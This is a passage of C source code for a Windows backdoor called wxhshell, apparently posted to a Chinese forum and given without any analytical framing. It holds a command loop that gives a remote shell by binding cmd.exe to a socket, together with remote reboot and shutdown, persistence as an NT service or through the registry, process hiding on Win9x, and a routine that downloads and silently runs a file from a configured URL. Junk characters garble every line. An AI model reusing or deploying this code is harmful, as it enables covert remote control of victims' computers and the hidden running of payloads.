      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j_-$xz5-  
    break; - o$S=  
  } (k"|k  
  // 安装 vQ^a7  
  case 'i': { l"p%]\tZ  
    if(Install()) _|D8~\y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :!;BOCTYI  
    else $74ZC M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +?zyFb]Km  
    break; EJO:3aKa  
    } L,of@>  
  // 卸载 <~!7?ak  
  case 'r': { Pk T&zSQA  
    if(Uninstall()) p+@Wh3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t(VG#}  
    else #dE#w#=r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J\b,rOIf  
    break; TKvUBy  
    } yc8FEn!)&  
  // 显示 wxhshell 所在路径 1 h|cr_  
  case 'p': { E)o/C(g  
    char svExeFile[MAX_PATH]; HuBG?4Qd  
    strcpy(svExeFile,"\n\r"); &NZN_%  
      strcat(svExeFile,ExeFile); r+3V+:f  
        send(wsh,svExeFile,strlen(svExeFile),0); FjRJSMwO,  
    break; *Af]?-|^{#  
    } :T" !6;  
  // 重启  T/p}Us  
  case 'b': { Wznz  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )TJz'J\*  
    if(Boot(REBOOT)) YiB]}/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qzw~\KY:  
    else { {6^c3R[  
    closesocket(wsh); C_dsYuQ5R  
    ExitThread(0); ~;_]U[eOL  
    } GeWB"(t  
    break; >~_y\  
    } 9G` 2t~%  
  // 关机 h']R P  
  case 'd': { YN_#x  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); RQWVjF#  
    if(Boot(SHUTDOWN)) t }7hD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \O/" F;  
    else { ,*Y*ov23aQ  
    closesocket(wsh); 7)O?jc  
    ExitThread(0); vnMt>]w-}  
    } oD4NQR  
    break; [@U8&W  
    } F8Z<JcOI  
  // 获取shell h#@l'Cye  
  case 's': { B~^MhX +j  
    CmdShell(wsh); y GT"k,a  
    closesocket(wsh); J0a]Wz%  
    ExitThread(0); Z2)f$ c  
    break; ^_9 ^iL  
  } %P0dY:L~  
  // 退出 v Q[{<|K  
  case 'x': { 7Gnslp?[U  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %eGxQDIXg  
    CloseIt(wsh); 0{F"b'h  
    break; `I,A7b  
    } O*d&H;;  
  // 离开 ~QFD ^SoK  
  case 'q': { C$){H"#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hhlQ!WV2  
    closesocket(wsh); /|t vGC.#  
    WSACleanup(); BF<7.<,  
    exit(1); qGuz`&i  
    break; ,pa,:k?  
        } 0 lXV+lj  
  } %eT4Q~}5"  
  } F')T:;,s  
[q cT?h  
  // 提示信息 `IOp*8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MVg`6&oH  
} Iwi>yx8  
  } <*0MD6 $5  
gGw6c" FRQ  
  return; H$KE*Wwq  
} Fx4C]S  
pP68jL  
// shell模块句柄 aO.'(kk8  
int CmdShell(SOCKET sock) ;!, ]}2w*X  
{ E$.|h;i]Q  
STARTUPINFO si; fU@}]&  
ZeroMemory(&si,sizeof(si)); ~'dnrhdme  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uYIw ?fXy  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?=jmyDXH!  
PROCESS_INFORMATION ProcessInfo; b5Rjn1@  
char cmdline[]="cmd"; $Rv}L'L  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?Pw# !t  
  return 0; V[wEn9   
} H1| -f]!  
:{h,0w'd  
// 自身启动模式 $ ;>,  
int StartFromService(void) J9)wt ?%j  
{ =vT3SY  
typedef struct n} GIf&  
{ ?)<zrE5p  
  DWORD ExitStatus; aw/Y#  
  DWORD PebBaseAddress;  4D"IAI  
  DWORD AffinityMask; |}^[f]  
  DWORD BasePriority; 8V_ ]}W  
  ULONG UniqueProcessId; @pQv}%  
  ULONG InheritedFromUniqueProcessId; HQ7-,!XO  
}   PROCESS_BASIC_INFORMATION; $JqdI/s  
~53E)ilB  
PROCNTQSIP NtQueryInformationProcess; CEc& G  
V:6#IL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -Hh$3U v  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UYW%% 5p?  
v!t*Ng  
  HANDLE             hProcess; |o~FKy1'z\  
  PROCESS_BASIC_INFORMATION pbi; Vyj>&"28  
1]A%lud4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $Bz|[=  
  if(NULL == hInst ) return 0; JnhHV(H  
o%h\55S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4en&EWUr  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UL; d H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -}{\C]%  
^4Tr @g#]"  
  if (!NtQueryInformationProcess) return 0; }CsUZ&*&  
5U|f"3&8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \@pl:Os  
  if(!hProcess) return 0; 00U8<~u  
Xa*52Q`_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T=VVK6Lc:  
)jR:\fe  
  CloseHandle(hProcess); 174H@   
fB1JU1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); miuJ!Kr'  
if(hProcess==NULL) return 0; ]j*o&6cQf  
zVxiCyU  
HMODULE hMod; _M:)x0("  
char procName[255]; dLD"Cx  
unsigned long cbNeeded; a&#Z=WK4  
1)#<nk)I  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~IE:i-Kz  
=zVbZ7  
  CloseHandle(hProcess); 1kio.9NIp  
1dfA 8=L,s  
if(strstr(procName,"services")) return 1; // 以服务启动 da\K>An>  
s?~Abj_  
  return 0; // 注册表启动 dT/Cn v=  
} uz>s2I}B  
m{pL< g^M  
// 主模块 (oq(-Wv  
int StartWxhshell(LPSTR lpCmdLine) @WhcY*R2  
{ akm)X0!-}  
  SOCKET wsl; xVfJ ]Y  
BOOL val=TRUE; QlJCdCSy  
  int port=0; "uGJ\  
  struct sockaddr_in door; J9/9k  
s]L`&fY]O  
  if(wscfg.ws_autoins) Install(); ?U|~h1   
}-zx4<4BH  
port=atoi(lpCmdLine); YH':cze  
!\ y_ik  
if(port<=0) port=wscfg.ws_port; C1p |.L?m  
v&H&+:<  
  WSADATA data; fQ#mx.|8y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b44H2A .  
>P\T nb"Q\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   FX}<F0([?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %|SbZ)gcQ  
  door.sin_family = AF_INET; ,>{4*PM(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X?>S24I"9  
  door.sin_port = htons(port); tjDVU7um  
ed{z^!w4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }5Y.N7F  
closesocket(wsl); &`@,mUi{Ac  
return 1; !!2~lG<]  
} +R2  
EoQ.d|:g  
  if(listen(wsl,2) == INVALID_SOCKET) { of+$TKQNpN  
closesocket(wsl); k B2+ Tr  
return 1; B'yN &3  
} gQ?>%t]  
  Wxhshell(wsl); r+m8#uR  
  WSACleanup(); q n=6>wP  
gjo\g P@  
return 0; @sfV hWG  
\VtCkb  
} uAVV4)  
F{l,Tl"Jw  
// 以NT服务方式启动 ~p'/Z@Atu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'QCvN b6  
{ ~JC``&6E=}  
DWORD   status = 0; y9W*/H{[`  
  DWORD   specificError = 0xfffffff; U?#6I-  
sB7DF<91  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~e%*hZNo  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7acAU{Rr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,wX/cUyZ  
  serviceStatus.dwWin32ExitCode     = 0; .WyI.Y1  
  serviceStatus.dwServiceSpecificExitCode = 0; H D=WHT&  
  serviceStatus.dwCheckPoint       = 0; JG/sKOlA  
  serviceStatus.dwWaitHint       = 0; Z]9 )1&  
Ij=hmTl{P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Cc!n`%qc  
  if (hServiceStatusHandle==0) return; j{p0yuZ)<  
).v;~yE   
status = GetLastError(); OEB_LI'  
  if (status!=NO_ERROR) {\]SvoJnJ  
{ mT!~;] RrF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F>^k<E?,C  
    serviceStatus.dwCheckPoint       = 0; w?Q@"^IL  
    serviceStatus.dwWaitHint       = 0; IDLA-Vxo  
    serviceStatus.dwWin32ExitCode     = status; s)]|zu0"Ku  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5n(p 1OM2q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _BR>- :Jr  
    return; /3Se*"u  
  } xg3G  
B"+Ygvxb  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z2"2Xqy<U  
  serviceStatus.dwCheckPoint       = 0; R?l>Vr  
  serviceStatus.dwWaitHint       = 0; $Q47>/CUc^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /8Vh G|Wb  
} YJ3970c/M  
T*YdGIFO  
// 处理NT服务事件,比如:启动、停止 l8^^ O   
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q8\Ks|u]  
{ NiWooFPKJ  
switch(fdwControl) RCxqqUS\C  
{ hfEGkaV._3  
case SERVICE_CONTROL_STOP: .' X$SF`  
  serviceStatus.dwWin32ExitCode = 0; E"V|Plf c  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Y ciZU  
  serviceStatus.dwCheckPoint   = 0; )Xg#x:  
  serviceStatus.dwWaitHint     = 0; 60`y=!?f  
  { Ma{|+\Q.Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t`F%$q  
  } DK4V/>@8  
  return; xhimRi  
case SERVICE_CONTROL_PAUSE: F'SOl*v(s5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  61gZZM  
  break; V]vk9M2q[l  
case SERVICE_CONTROL_CONTINUE: `^_.E:f  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; A;2?!i#f  
  break; F}sfk}rp  
case SERVICE_CONTROL_INTERROGATE: [0J0<JnK  
  break; DVpqm6$ Q  
}; y#x]?%m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Dm4\Rld{  
} 8dL(cC  
!sR`]0  
// 标准应用程序主函数 z&-3H/   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @x{;a9y  
{ "]JS,g {m  
)0UQy#r  
// 获取操作系统版本 O"Xjv`j:  
OsIsNt=GetOsVer(); @Vb-BC,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M ?F({#]  
T_\GvSOI  
  // 从命令行安装 T}4RlIZF  
  if(strpbrk(lpCmdLine,"iI")) Install(); yq;gBIiZ  
lIOLR-:4j  
  // 下载执行文件 h?$4\^/  
if(wscfg.ws_downexe) { uV%7|/fD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) m _:ib}  
  WinExec(wscfg.ws_filenam,SW_HIDE); D$ `yxc  
} M4')gG;  
!JrVh$K  
if(!OsIsNt) { /u#uC(Uwl  
// 如果时win9x,隐藏进程并且设置为注册表启动 }dB01Jl '  
HideProc(); s6KZV@1  
StartWxhshell(lpCmdLine); \idg[&}l}  
} le8n!Dk(  
else \W*ouH  
  if(StartFromService()) (c[|k  
  // 以服务方式启动 5?2PUE,a  
  StartServiceCtrlDispatcher(DispatchTable); \/lS!+~'']  
else X0 %k`3  
  // 普通方式启动 V1"+4&R^T_  
  StartWxhshell(lpCmdLine); 'f5,%e2#  
]2Lwd@  
return 0; [qid4S~r,&  
}
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只看该作者 1 发表于: 2006-10-10
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